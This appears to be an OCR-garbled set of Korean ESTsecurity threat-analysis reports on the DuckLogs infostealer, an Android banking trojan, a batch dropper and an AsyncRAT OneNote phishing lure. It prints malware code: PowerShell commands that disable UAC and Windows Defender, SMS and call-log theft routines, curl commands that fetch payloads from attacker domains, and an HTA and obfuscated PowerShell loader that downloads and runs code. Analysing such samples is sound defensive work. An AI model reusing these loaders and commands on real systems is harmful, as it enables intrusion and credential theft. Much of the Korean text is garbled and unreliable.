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[Trojan.MSIL.Stealer.gen]
olMIALE BEAM HIIA

e

DuckLogs 2MTC = QIEAER(Infostealer)2t 22 HEEZFS AMTACZ siZl EH|A THO{ E|Qom, %2
2023 F 1 "SharkStealer” 2t= MZ2 O|EC = LCiA| SAZUCE sHZ 0| AHAIE 20| LIEH ME &
7|27 (Keylogger), 239! Ci|0[H, &= 2| X[Zf HE St 22 HE 2HF| AIE AT

ol A== it M Fbhs Rof5hY| flot SXCz Sl T2z A0S 0|33l HEE|AH, OfH
20M= 042 HAIZ Ls0{E DuckLogs 2T ES| 2E aPnt oty HRIS 24%8l E= SiCth

Modules That will Enhance

Your Experience « Browser Stealer (login, cookies from all browsers)

= Email Stealer (Thunderbird, Outiook)
Lsarn more » Messenger Stealer (Discord, Telegram, Signal, ICQ, Psi, Skype)
Game stealer (Steam, Minecraft, Battie.net, Uplay)
File Stealer (Documents, Source codes, databases, Pictures etc.)
FTP Stealer (FileZilla, TotalCommander)
VPN Stealer (NordVPN, ProtonVPN, OpenVPN, CrypticVPN)
= Machine Speficification (all hard/software information)

» Crypto Stealer (Metamask, Exodus, Coinomi, Atomic, Electrum etc:)

* Send and execute files

* Power Manage (Shutdown, Restart, Logout, Lock)
* Show BSOD (Blue Screen of Death)

= Block input (disable keyboard and mouse)

* Remote Powershell

= Send DDoS Attack

= Remote Self Destruction

* Fork &ZIP bomb

# Emror Spam

* Send Message

= Open Browser URL

Miscell 15
+ Crypto Clipper * Advanced Keylogger » Telegram Notifications. + Encrypted Logs & Connections * UAC Forcer

* Unkillable Process * Hidden Startup * Randomly delay * Obfuscation * Mutex

Lifetime

* All features from other plans s Access to oll features
* Private Scantime Crypter ® Unlimited builds

* Dropper Builder * Frea updates

* Extension Spoofer * Free reFUDs

* File Binder * Dedicated Support

* Private spreading methods * Documentation

* Help with spreading * Antivirus Scanner

* File Pumper

® Access to Private Chat

(12! 1] 3Hel Z2 Alo|E

ESTsecurity 9



1.3 ) mo|2=
B2 ase wx| o] 9l REIAS AISSICt FEA0| 0|Z2 “dasidhas00ll Bl REIAT} FEE(
Rlopl I2AS ERSICt

HX [O8 2]2 20| Base64 Q1RYE HEHZ 2|AA FHo| =XHst= “String1"2 ClZY 2, CIZYE
"Bunifu.Ul" 7} 2=& Assembly.Load() &+Z 0|83 2=t Z Invoke(| 22 ZES

Mutrition_System.FrminvestmentList.resources
£/ Nutrition System.FrmInvestmentlist.resources (Embedded, Public)

H Save

String Table

MName Value

String1 TVgQIMITEIS//TILgATTTIQATTTTTTTTITTITITITTITT T TgAdl fugdAtAnNIbgBTMORV:
£

[32! 2] 2|AA HH “Stringl”

el
I
H
2
=
ot

—

O[gall Ltz WO|2=S HAAIZICE

= S0l 222 HHo| ExMfol= =zl HIEY O[0|X] "Gmtpo"= gzip S &

_L

“Bunifu.Ul" 2=
Invoke() &5

resource_name, BE ¢ _param, project_name)

{resource_name, project_name};

EntryPoint™, CallTvpe.

{objectRef2, procMame, useCallType, a

[2&! 3]"Bunifull’ ZE AL

2. & Hj Ho|2E
Mutex.OpenExisting HIXEE Sl "fDIXHBbfQYjWV" FREIAE =0l & EXWSHA| UOH FEIAS MM

Mutex [ name

Hutex . (name, MutexRights.

ESTsecurity ¢ ht&2022 ESTsecurity Corp.All rig . o



25 571 s Anti VM 7|H0| 8 E|0{RILCY.

EIWNENSE

Wine detection

=
ne
oy
tu

AntiVM 22

HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus O\Target Id O\Logical Unit Id O
HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus O\Target Id O\Logical Unit Id O
HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus O\Target Id O\Logical Unit Id O
Identifier 2t

HARDWARE\Description\System

SystemBiosVersion 4}

HARDWARE\Description\System

VideoBiosVersion &t

SOFTWARE\OraclelVirtualBox Guest Additions

SOFTWAREWMware, Inc.\VMware Tools
InstallPath zt
SYSTEM\ControlSet001\Services\Disk\Enum

SYSTEM\ControlSetO01\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE10318\DriverDesc
SYSTEM\ControlSetO01\Control\Class\{4D36E968-E325-11CE-BFC1-
08002BE103181\0000\Settings

Device Description &t

kernel32.dll AH|A wine_get_unix_file_name Q!

SbieDll.dll

USER, SANDBOX, VIRUS, MALWARE, SCHMIDTI, CURRENTUSER
VIRUS, SANDBOX, SAMPLE, C:\file.exe

SELECT * FROM Win32_VideoController

C:\PROGRAM FILES\WVMWARE\WVMWARE TOOLS\

VBOX, VMWARE, QEMU

VBOX, QEMU

VIRTUALBOX

vmware

VMWARE

VMWARE

VM Additions S3 Trio32
/64, VirtualBox Graphic
s Adapter, VMware SVG
All, VMWARE

KIS KA ZZHAZ WSt X

ESTsecurity «

[E 1]antivm S5

OR¥

Mame
A o

[22 5] QIsiaEl 2/Z To|zE s

g Yy

HO|2EQ! “DuckLogs” A-ETZES QMM HHA[ZICE

1



3. ZE mlojz2=

%|Z I|0|]2E+= “DuckLogs” O|EC=Z

FileInfo

@ C:¥use

Logs

Document

e 4%,
checkPE (0x17dc5)
checkPE (0x1d333)
checkPE (0x2b513)
checkPE (0x16bf20)
checkPE (0x175dbc)
checkPE (0x182f38)
ot EMAE

| HESIAO|A ARESH

ol
ot ARE AICE

JavaScript Classification Yara
ile t 3 g e
File ype \"b’n ) ‘ E ,C"_
MD5 | 785fababe 4d88e3e8034948ebf27dfsd || es16736
imphash | f34d5f2d4577ed6d9ceec516c1f5a744
ssdeep I 98304:kcjGQqg6rAlII6n 3bepNFTYVrskaNSivyhAdsPSQxuU 1 1lwCryVg0fOm

Build date | 2090-02-11 14:20: 17 (ksT) | Madify date |
PDB path |

Digital sign { ”

Copyright ‘Copyright
Product |

Origin name |Dud<Logs.exe

Description |Program

File version | 1.0.0.0 || Language |
[32! 6] Ducklogs 24 TE

2{0|HEZ{2|E FH= AntiVM 7|HO| ME E|0{QUCE

trinal).Tolpperinvariant

tains( "VIRTUAL™)) |1 text. Cont

[22! 7] Antivm ZE 22

Select * from Win32_ComputerSystem

AntivM =5

VIRTUAL, vmware, VirtualBox

SbieDIlLdll, SxIn.dll, Sf2.dll, snxhk.dll, cndvrt32.dll

ProcessHacker, Taskmar, dnSpy, netstat, netmon, filemon, regmon, cain, wireshark, Wireshark, NLClientApp,
dumpcap, tcpviewb4, procexpbd, Fiddler.WebUi, HTTPie, Fiddler, FiddlerCap

ESTsecurity «

[E 2]antivm 55
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2) Hio|miA HH
Powershell S 0|28l AF2X}L AN ZIEZ(UAC) HIZHSH Windows Defender H|&H4s} =ICt,
== 2%0f
UAC Hlg-det Set-ltemProperty -Path

REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\\Policies\System
-Name ConsentPromptBehaviorAdmin -Value O
Windows Defender Set-MpPreference -DisableRealtimeMonitoring $false
HAIZE ZAl ON
Windows Defender 7|s  Uninstall-WindowsFeature -Name Windows-Defender

HZrdst
[® 3] BE ==
3) EX 7|o Hl gt
HXAEZ| HFE Soll BY TEIE XY X S2 HIgHe & = U= 71S0] EXHSLLL.
== HZH0]
A |kt HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System > DisableTaskMgr = 1 A&
HZdst
dy IETE HKCU\Software\\Policies\Microsoft\Windows\System > DisableCMD = 1 &%
HZdst
IXIAERZ HKCU\\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer > NoRun = 1 &%
HlZdst

[(H 4] BE 58

4) % H2tex M 2]
of2] ® Hetero| 013 Hi, 24 7|2 Hi, 2791 HlolE U 7|9 22 HHE S Ao HuAct,

() + 0.4 + “HHBrows

.ZpecialFolder. I+ CftiMozi | attF i ref oxtitProfil

alFolder, 1o+ "flaterfox¥Profiles” )}

[02) 8] ¥ Hefex o 2c U

HEIRX SE8 4THET Mozilla MTHol|A] 2t2[oh= AITIS CHe 2ol g 4~ o, ¢ Hetx ARl
Gecko = Chromium 2Tl CHSOZ B0 AEE|= @ E2RX AITIo|Ct,

Gecko 7[dl HEtRX= HE &2 SQL F2|E 0|2sHH, 37| HE= "cookies.sqlite” I, M 7|5 HEH=
"places.sqlite” TIAO||A SESH=0| siE ME= L=ot=X| 42 HI0[E7t JCHE HAKMJUCE
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2 HIE EM HIN

Elenent, sa

it_date,guid,foreign_count,url_hash.d

d_id,folde Added, dified,gu

datesdded., dified FROM m

[ 9]SQL 2| =25 &7

GIEONEEE
Blink, Firefox, Librewolf, Waterfox, Avast, Brave, Edge, Gecko, Opera,
Thunderbird, Vivaldi

[& 5] H2tex| ==

5) 7|12 75
AN EC0l| 5HZE ZEHE Aot GetKeyState e45 0|83l 7| HEE &fols
Z

HE 2olgl= & "Shift” “Control” 1t
22 7|2 mEBl0] 7|Hs0| Qs ghe s

= —

n¥rit i i " dffudcbbWind
n i " dfudd7OTim
n¥ er WriteLinel" B3d¥udcd 1Logged O

[12! 10] 7|2/ Z= U=

ESTsecurity « . curl



6) 2EEL Hloly EF
Clipper 7|52 SBEE H|O[Ho| P=otm| X|Zf 47t S I 0|F SHXAS| Fa2 HESI Eeit.

== B B
Bitcoin (BTC) (?:7(bc11[13])[a-zA-HJ-NP-Z0-91{25,391$)
Ethereum (ETH) (?:*Ox[a-fA-FO-9]{40}$)
Monero (XMR) (2:4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}%)
Stellar (XLM) (?:~G[0-9a-zA-Z]{55}$)
Ripple (XRP) (?:*r[0-9a-zA-Z]{24,34}$)
Litecoin (LTC) (?:*[LM3][a-km-zA-HJ-NP-21-9]{26,33}$)
Dogecoin (DOGE) D[A-Z1-9][1-9A-z]{32}
Bitcoin Cash (BCH) *((bitcoincash:)?(glp)[a-z0-9]{41})
Dash (DASH) (?:°X[1-9A-HJ-NP-Za-km-z]{33}$)
Steam Trade URL steamcommunity[.Jcom/tradeoffer/new/[?]partner=[0-9]{9}&token=[A-z0-9_]{8}

[ 6] A N8R ZE

3. TE-IE
DuckLogs &= E2IX49| C|o|e] FE, 7taem X|Z B g% 52| 7|58 717l AT E0|Ct ESH UAC(User
Access Control)E 22|, Ite|d HHHE Sl /= CIHGE Hlgde & 4~ ULt

2HA 7AiM of2iet B E0| HHO| El= FR, A2|HA | 22 doh| X2 EFo) w2t AR A
SiiZol| HE &8, Xhat &4 SO| ?Io| =EE 4= AN F2|7F BRD|T.

[EkA, AEAE ZHS LXISH] 2foh 2(g 4~ gl HO|X[0|M TiYS CH2ZE SHX| 90t0F St BiAIo)|

WXl Loto|M= Trojan.MSIL.Stealer.gen’ 2F FItkst It
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1. X7| Mg

@suppresstint({“SetJavaScriptenabled”})

private void F() {
webview webviewe = (Webview)this.findviewById(ex7Fese194);
websettings webSettingse = webviewe.getsettings();
webSettingse.setlavascriptEnabled(true);
webSettingse.setDisplayZoomControls(false);
webSettingse.setDefaultTextEncodingName(“utf-8");
webSettingse.setAllowFileaccess(true);
webSettingse.setAllowContentAccess(true);
if(MainactivityB.v) {

webviewe.loadurl(“file:///" + AppStart.d + this.getString(ex7Fereess));

¥

if(MainActivityB.v) {
webViewe.addlavascriptinterface(new a(this), "android”);
3

}
public void G(int v) {
int vl1 = ag.a(this);
z7.a(MainActivityB.t, "apk version:" + vi);

if(vi !=0) {
this.L(v1);
}

if((this.I()) && (this.H())) {
if(vl == @ && (Mainactivitye.v)) {
new b(this, 2@3).execute(new Object[]{this.getString(ex7rFeree21)});
return;

if(vl != 2 && v == 1 && (MainActivityB.v)) {
new b(this, 204).execute(new Object[]{this.getString(ex7FeFeelE)});

[O2 5] & HA|

HX assets ZC{0]| ZXHSH= mp.dat, res.dat, wp.dat 3 7HX| IS ZHCESE XOR HAtOZ 2IsiC) szt

Loz FRPIE O|F Himl AAE HRZ 2E610] [O7 2]t 20| ‘AESH | 2tHg HoFELCE

ESTSt:run'ty Copyright®2022 ESTsecurity Corp_all rights reserved
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private static wvoid b() {

try {
s3.3 saf$a® = new sa.a();
sagae.z = true;
sasae.r = true;
sagae.t = 50eL;

sa$a@.u = 999999999L;
Charset charsete = StandardCharsets.UTF 8:
X7.a = sa.a( + Basee4.encodeToString(“server_id=cov2&imei=" + b8.b

catch(Exception exceptione) {
z7.b("ConnectionManager”, "initNodeSocket:" + exceptione.getmessage());
}

(28 6] 717 & TS
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private void L(int v) {
try {
Intent intent® = new Intent(this.getString(ex7Feree3s));
if(v == 1) {
intente.setComponent(new Componentiame(this.getString(ex7Feree2e), "com.bnk2022090510.activity.m™
}

if(v == 2) {
intente.putExtra(“update
intente.putextra("port”,
intente.putExtra(“name”,
intente.putextra(“apkTyp
intente.puteExtra(“ip”, "
intente.putextra(this.ge
intent®.putExtra(this.ge
intente.putExtra(“imei”, ] L y..
intente.setComponent(new Compcnentiames(this.getString(ex7reree2e), this.getString(ex7reree3z)));

}

intente.addCategory(“android.intent.category. LAUNCHER");
this.startactivity(intente);

2 7] A "2
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AEXE £elCt.

private void c(Intent intente) {
try {

%7} Axjel

ESTsecurity Copyrighs2022 EST

@e [1

212510] HEE X

long v
if(v >

a7.
e7.
e7.
e7.
e7.

e7
€7
e7

e7.
X6.

= intente.getLongExtra(“update”, eL);

7.
a("m
g(”
i
i"
("
i
2 gy
G
bl G0

1(

C("KEY_UPDATE_TIME")) {

ainActivitya”, “"update server info");

KEY_UH TIME", V);

KEY_IMI", mtente.getstringExtra(”iru“));
KEY_SERVER_NAME", intente.getstringExtra(“name”));
"KEY_SERVER_PORT", intente.getIntExtra("port”, @));
KEY_SERVER_IP1”, intente.getStringextra("ip"));
KEY_FTP_ID", intente.getStringextra("ftpIid”));
KEY_FTP_PWD", intente.getStringextra("ftprwd”));
KEY_APK_TYPE", intente.getStringExtra(“apkType”));
)i

return;
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public static void a(Context contexte, String s, String si1) {
try {
uri urie = uri.parse("content://sms/");
Cursor cursore = contexte.getContentResolver().query(urie, new String[]{"_id", “thread_id”, “address”, “person”,
if(cursore != null && (cursor@.moveToFirst())) {
do {
long v = cursore.getiLong(e);
cursore.getiong(1);
string s2 = cursore.getString(2);
if((s1.equals(cursore.getstring(5))) && (s2.equals(s))) {
uri uril = uri.parse("content://sms/" + v);
a7.8("deletesms”, "wri: " + uril + ", cnt: * + contexte.getContentResolver().delete(urii, null, null

3
while(cursore.moveToNext());

cursore.close();
return;

3

3

catch(Exception exceptione) {
a7.a("deletesms”, "error: " + exceptione.getMmessage());
return;

}

public static Jsomobiect b() {
try {

1SONObject jSONObjecte = new JsONObject();

1SONArray jSONArraye = new JSONArray();

Cursor cursore = AppStart.q.getContentrResolver().query(Telephony.Sms.CONTENT_URI, new String[]{"_id", "address”,

while(cursore.moveToNext()) {
JSoNObject jSoNobjectl = new JSONObject();
string s = z6.a(new Date(cursore.getLong(cursore.getColumnindex(“date”))), “yyyy-#M-dd HH:mm:ss");
jsonobjecti.put(“number”, cursore.getstring(cursore.getColumnIndex(“address™)));
jsonobjectl.put(“body”, cursore.getstring(cursore.getColumnIndexorThrow(“body™)));
jsonobjecti.put(“date_at™, s);
jsonobjecti.put(“type”, cursore.getint(cursore.getColumnIndex(“type”)));
JSONArraye.put(jsonobjectl);

3

cursore.close();

jsonobjecte.put(“smsList”, jSONArraye);
return jSONObjecte;

[3Z! 10] 2Kt AkH|
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public static Jsonobject g() {
try {

JsoNObject jSoNObjecte = new JsonObject();

JSONArray JSONArraye = new JSONArray();

cursor cursore = AppStart.q.getContentResolver().query(Calllog.Calls.CONTENT_URI, null, null, null, null);

while(cursore.moveToNext()) {
Sstring s = z6.3(new Date(cursore.getLong(cursore.getColumnindex(“date”))), "yyyy-#M-dd HH:mm:ss");
JSoNObject jSONObjectl = new JSONObject();
jsonobjecti.put(“id”, cursore.getString(cursore.getColumnIndex(”_id")));
jsonobjecti.put(“number”, cursore.getstring(cursore.getColumnIndex(“number”)));
jsonobjectl.put(“name”, cursore.getString(cursore.getColumnIndex(“name™)));
jsonobjecti.put(“duration”, cursore.getString(cursore.getColumnindex(“duration”)));
jsonobjecti.put(“type”, Integer.parseInt(cursore.getString(cursore.getColumnIndex(“type”))));
jsonobjecti.put(“date_at”, s);
JjSONArraye.put(jsonobjectl);

3

jSsonobjecte.put(“callsList™, jSONArraye);

cursore.close();
return jSonNObjecte;
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a7.a(we.a, "startRecord:" + v);

wWe.€ = Vs
File filee = AppStart.g.getCachedir();
try {

we.C = File.createTempFile("ars”, ".mp3”, file@);
MediaRecorder mediaRecorder® = new MediaRecorder();
we.b = mediaRecordere;
mediaRecordere.setAudioSource(l);
we.b.setOutputFormat(2);
we.b.setAudioEncoder(3);
we.b.setOutputFile(we.c.getAabsoluterath());
we.d = true;
we.b.prepare();
we.b.start();
wE.f = new TimerTask() {

@override

public void run() {

we.d(we.c);
3

13
new Timer().schedule(we.f, ((long)v) * 1eeeL);

52 285i0] ZH A2|S =23 4 AT OLIQ AEIS M0l AL BER BMASLY

label_zsz-
a7.8("CallManager”, "endCall:" + ((boolean)v));
return (boolean)v;

3

public static void c(Context contexte, String s) {
a7.a("CcallManager™, "Callout:" + s);
try {
Intent intent@ = new Intent(“android.intent.action.CALL");
intent®.addFlags(ex1e00000e) ;
intente.setbata(uri.parse("tel:" + s));
contexte.startactivity(intente);

[2213] St Ao 23
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private static void h(String s) {
AppStart.n = s;
Intent intent@ = new Intent(“"android.intent.action.DELETE");
intent®.setData(uri.parse(“package:” + s));
intente.setFlags(ex10000000) ;
AppStart.g.startactivity(intente);
oe 0e@ = x6.b;
if(oee != null) {
oe0.a("deleteapk™, new Object[]{"feedback"});
1

}

private static void i(String s) {
Object[] arr_object = {((int)c.c(x6.a, s))};
X6.b.a("delCallLog”, arr_object);

public static List b(Context contexte) {

ArrayList arrayListe = new ArrayList();

try {
Cursor cursor® = contexte.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, new String[]{"_data", "
int v = cursore.getColumnIndexorThrow(”_data™);
int v1 = cursore.getColumnIndexorThrow(“date_modified”);
int v2 = cursore.getColumnIndexorThrow(”_size™);
long v3 = new Date().getTime() / 1eeeL;
while(cursor@.moveToNext()) {

if(v3 - cursore.getLong(vl) >= 25920@@8L || cursore.getLong(v2) >= @x1F4eeeeeL) {
continue;

arrayListe.add(cursore.getString(v));

cursore.close();

}
catch(Exception exceptione) {

a7.b(s6.a, "getallImage exception” + exceptione.getMessage());
}

return arrayListe;

public static List c(Context contexte) {

ArrayList arrayListe = new ArrayList();

try {
cursor cursor® = contexte.getContentResolver().query(MediaStore.video.Media. EXTERNAL_CONTENT_URI, new String[]{"_data", "_|
int v = cursore.getColumnIndexOrThrow(”_data”);
int vi1 = cursore.getColumnIndexOrThrow("date_modified™);
int v2 = cursore.getColumnIndexOrThrow(”_size™);
long v3 = new Date().getTime() / 1eeeL;
while(cursore.moveToNext()) {

if(v3 - cursore.getlong(vl) >= 25920@00L || cursore.getlong(v2) >= @x1F4eeeeeL) {
continue;

}

arrayListe.add(cursore.getstring(v));

[—12] 15] 22| &t

Z2{2|of| Xzl of0X|2t HIC|R melo| B2 RIS =20l FRfSHH MHZ THEe

ESTSt:run'ty Copyright®2022 ESTsecurity Corp_all rights reserved

25



label 12:
if(v == 0) {
a7.b("GETTask"”, "Connection_Fail:" + ye.b(smartServiceAsae.a));
smartServiceA.c(SmartServiceA.this);
if(SmartServiceA.this.b > 7 && !false) {
smartServiceA.this.b = @;
String s = e7.d("KEY_SERVER_IP1");
String s1 = e7.d("KEY_SERVER_IP2");
a7.3("GETTask"”, "change Server Ip:" + s1);
if(!si.equals("")) {
e7.i("KEY_SERVER_IP1", s1);
e7.1("KEY_SERVER_IP2", s);
b
3
return "7;
3
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Headers  Payload Preview  Response  Initiator

¥ General
Request URL:
Request Method: POST
Status Code: @ 288 OK
Remote Address:

Referrer Policy: strict-origin-when-cross-origin

* Form Data view source view URL-2ncoded

id:

uid: Gkrew92fDFGwswvd
emt: hanmail.net

rep: 1

ntid: 1673487089

inptn: daum-change-pwd

ptn: daum-illegal-ip

pwd: firstpassword||newpassword
pwd0: newpassword

pwd1: newpassword

tot

—
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2022. 1282 S0, A OH A&
=)

2022, 288 =0, J40UE

& |
o ANY 223 HRASE
H 8|4 9 Jes 224g (284S a0 R oA

1 &l 3.200.000 100.000 200.000 3,500,000

2 <] 3.200.000 | 240,000 | 100,000 100. 000 200,000 3,840,000

3 al 1,800,000 | 300.000 | 100,000 100,000 200,000 2,600,000

4 bl 1,200,000 300,000 100, 000 200,000 1,800,000

5 ] 2,100,000 100,000 2.9.13 YA 2,200,000
13,940,000

SOHOE W 0N

milo| Altiz|H ot m2d0{7t Alde|t{ %USERPROFILE%\Links SH2IZAZ0]| chastart.vbs, chanew.bat IS
chastart.vbs OIS AldtisiH A=l chastart.vbs IS chanew.bat S ALt

EESHRYIX|AER| XHSAM(HKCU\SOF TWARE\Microsoft\Windows\CurrentVersion\Run)0i| chastart.vbs &
SE510] THRE! A0 = X502 AMMEl 4= QIR MHBH|CE

[22 4] HX|AEZ|H| S5 &l chastart.vbs IH

chanew.bat T2 C&C 0Ol M&SH F=7t2 noOl.bat 2t setup.cab THAS L2 noOl.bat TIYS
AIBHSH_|C}.

=0
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@echo off

if exist "C:\Users\Public\documents\wonna.bat" (goto EXIT1)
if exist "C:\Users\Public\documents\noO1.bat" (goto EXIT2)

curl "hxxp://donew-order.com/chal1/no01.txt" --output C:\Users\Public\documents\noO1.bat > nul
curl "hxxp://donew-order.com/chal1/vbsO1.txt" --output C\Users\Public\documents\setup.cab > nul

timeout -t 3 /nobreak

if exist "C:\Users\Public\documents\noO1.bat" (
call C\Users\Public\documents\noO1.bat > nul

)

:EXIT2

call C:\Users\Public\documents\noO1.bat > nul

:EXITT

exit

noOl.bat DfU2 Al = setup.cab IHAUL| =S SiA| = wonna.bat IHAS AHeL|CE

setup.cab M2 CIZ2} €2 MASE FE=|0] JASLICE

start.vbs : Bl[X|AEZ|0f| S2&|= o

wonna.bat : HIX|AEZ|0]| start.vbs S= U nod.bat A% 0|F F7|HMOZ c20f T 5l H Al

nod.bat: QIEZAEIR

upload.vbs : &%t HHE c20] H=EE

download.vbs: c2 &2 Eoff 7t HFE CIREE AT

'ESTSECH”?}‘ Copyright©2022 ESTsecurity Corp All rights reserved
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OneNote IIYZ 0|25 FEE[= AsyncRAT F2|!
OneNote IIAS 0|&3H AsyncRAT 0| REE= S ZASI0 ALEXISS| 2HE8st 2|7t @7 ELICE

OltH 20N F2stotst e ATHY L) OneNote I (.one)S HESI0 ZAS A|ToiFCt= H

QILICE. .one SHERH= BARIS0| S ARZOHA| S SEIRIR, ABAISO| Ha AR QIX|10] Az TH540)
2l0{ Fop7t TaBhch

06 DUE - HIAIX] (HTML)

2023-01-13 (B) 27 535

HYDRO DISTRIBUTING COMPANY <invoice@hydrodistributingllc.
Invoice #0048006 DUE

[y

e A
Invoice-48006.0ne
W= 338

Good morning:

n

Attached will you find an invoice 48006 dated 01,/12/2022. | have also attached the invoices that are still
outstanding. Total amount due to date is attached.

Any questions, please let Luke or | know.

Thank you!

Office:

Cell:

[32 1] Invoice £ ATt A MY

.one &= OneNote IHAZ, ALK} PC O] OneNote 7t AX| &[0 QICHH AlH7HSSHK|2H OneNote 7t
AX|=|0] UX| QUTHH At 4~ = SHAI7F EXHEIL|CY,

* OneNote
MS Of|A] ZHESH |2 2 2 72

oFd AFEZXEF O] 22| = Invoice-****one IHY
‘CLICK TO VIEW DOCUMENT' 2 E0{FH At2Xte| 2l

AHSHH i SlHS 2[FE 0077] =t Ha} el
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EEl = w2 2 137 E@E =9

H% 218 - Microsoft OneNote - [m] h'e
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> J Invaice-45006

[BE @R DIE ZMCHEL ~

Sl || 4y Ol MHS EHERSLICH 0 488 ST76HH

M HOE -

Wednesday, January 11,2023
5:06 AM

HsEs

CLICKTO VIEW DOCUMENT

[33 2] .one HEIIY Al SHH

AMd ‘CLICK TO VIEW DOCUMENT'= SZXI7t JZIMXLE 08310 EHUXMH Ho|A| mZfet A=, siE
OZIML Of2lli= HTA(HTML S8&23) mo| 501 JAELIC

Ni© 9 [HEI= H2 22 - Microsoft OneNote — O 0%
= wsg @R d=mm EE =7 v @
> J Invoice-4B006 |EE TR EDIE HMICHEN L
3[4 0/4AZ ZHEIREUE O 445 S5 0012 STFRIAL. | am morm .
i HE 28
Wednesday, January 11, 2023
5:06 AM
CLICKTO VIEW DOCUMENT
invoiceinvoiceinvoiceinvoiceinvoicejn ojceiNVoiceinvoiceinvoice
[
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invoice.one I HAt

ESTsecurity
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A HO2LRE0|M Tiejdls Aol £ MHE & 2, comell_notes.one,
%temp% =C0]| invoice.one, system32.bat TIYHOZ XESI D

<IDOCTYPE html>
<html>

<head>

<HTA:APPLICATION icon="#" WINDOWSTATE="normal® SHOWINTASKBAR="no" SYSMENU="no"
<script type="text/vbscript">

CAPTION="no" BORDER="none” SCROLL="no" />

' Exec process using WMI

Function WmiExec(cmdLine )
Dim objConfig
Dim objProcess
Set objWMIService = GetObject(“winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup”)
Set objConfig = objStartup.SpawnInstance_
objConfig.Showindow = @
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
WmiExec = dukpatek(objProcess, objConfig, cmdLine)

End Function

Private Function dukpatek(myObjP , myObjC , myCmdL )

Dim procld

dukpatek = myObjP.Create(myCmdL, Null, myObjC, procld)
End Function

Sub AutoOpen()
ExecuteCmdAsync "cmd /c powershell Invoke-WebRequest -Uri https
Start-Process -Filepath Senv:tmp\invoice.one”
ExecuteCmdAsync “cmd /c powershell Invoke-WebRequest -Uri https
Senv:tmp\system32.bat"

onenotegem. com/uploads/soft/one-templates/cornell_notes.one -OutFile $env:tmp\invoice.one;

/transfer.sh/KSg2FR/inv.bat -OutFile $env:tmp\system32.bat; Start-Process -Filepath

End Sub

' Exec process using WScript.Shell (asynchronous)
Sub WscriptExec(cmdLine )

CreateObject(“WScript.Shell”).Run cmdLine, @
End Sub

Sub ExecuteCmdAsvnc(targetPath )

[02) 5]HTA L 3=

OneNote T2, AFSXIA| F& TS B0 2 ISR} Al gLt
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Cornell Notes - Microsoft OneNote
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4.Thinking:
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5.Review:
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[22 6] CHREE El F4 invoice.one T
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"system32.bat.exe" - noprofile - windowstyle hidden - ep bypass - command $wgyjo =
[System.IO.File]:(‘txeTlIAdaeR' [-1.. - 11] - join ") ('system32.bat It ZHZ').Split([Environment]:NewLine);

foreach($uyclu in $wayijo) {
if (Puyclu.StartsWith(::")) {
$FQERD = $uyclu.Substring(3);
break;

1

$WMVDbN = [System.Convert]::('gnirtS46esaBmorF' [-1.. - 16] - join ") ($FQERD);
$JIVT = New - Object System.Security.Cryptography.AesManaged;
$JIVT.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$JIVT.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$JIVT.Key = [System.Convert]:(‘gnirtS46esaBmorF' [-1.. - 16] - join
")('VDXsoWecon550NX9Amz8NigcG2h3YCKOY7b4J1K7dCo=");

$JIVT.IV = [System.Convert]::(‘'gnirtS46esaBmorF' [-1.. - 16] - join ")('LgnN7D8I9VRfIOe0+JONOw==");
$0CpHH = $JIIVT.CreateDecryptor();

$WMVDbN = $oCpHH.TransformFinalBlock($wMVbN, 0, $wMVbN.Length);
$0CpHH.Dispose();

$JIVT.Dispose();

$ZkBxi = New - Object System.l0.MemoryStream(, $wMVbN);

$zbtzM = New - Object System.lO.MemoryStream;

$VLYGd = New - Object System.l0.Compression.GZipStream($ZkBxi,
[I0.Compression.CompressionMode]::Decompress);
$VLyGd.CopyTo($zbtzM);

$VLyGd.Dispose();

$ZkBxi.Dispose();

$zbtzM.Dispose();

$WMVbN = $zbtzM.ToArray();

$tRILs = [System.Reflection.Assembly]::(‘daol’ [-1.. - 4] - join ")($WMVbN):
$EjUgF = $tRILs.EntryPoint;

$EjUgF.Invoke($null, (, [string[]1("))

A5 HOIZEE AsyncRAT O, A% S0l ARSAH AIAY HE, WA 22 05, A8} 0[S, K| Z27
S=, MY 13 So| HEES 2T5I0 0, C20 F7INOR Haslo B2l Y SIS thfEiich
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